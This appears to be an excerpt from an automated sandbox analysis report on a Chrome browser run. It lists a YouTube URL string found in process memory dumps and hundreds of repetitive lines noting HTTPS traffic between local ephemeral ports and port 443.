Source: chrome.exe, 00000002.00000002.2349640312.00007AA4012C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2312397243.00007AA4005C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300482869.00007AA4002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335429223.00007AA400B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000002.00000002.2312397243.00007AA4005C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
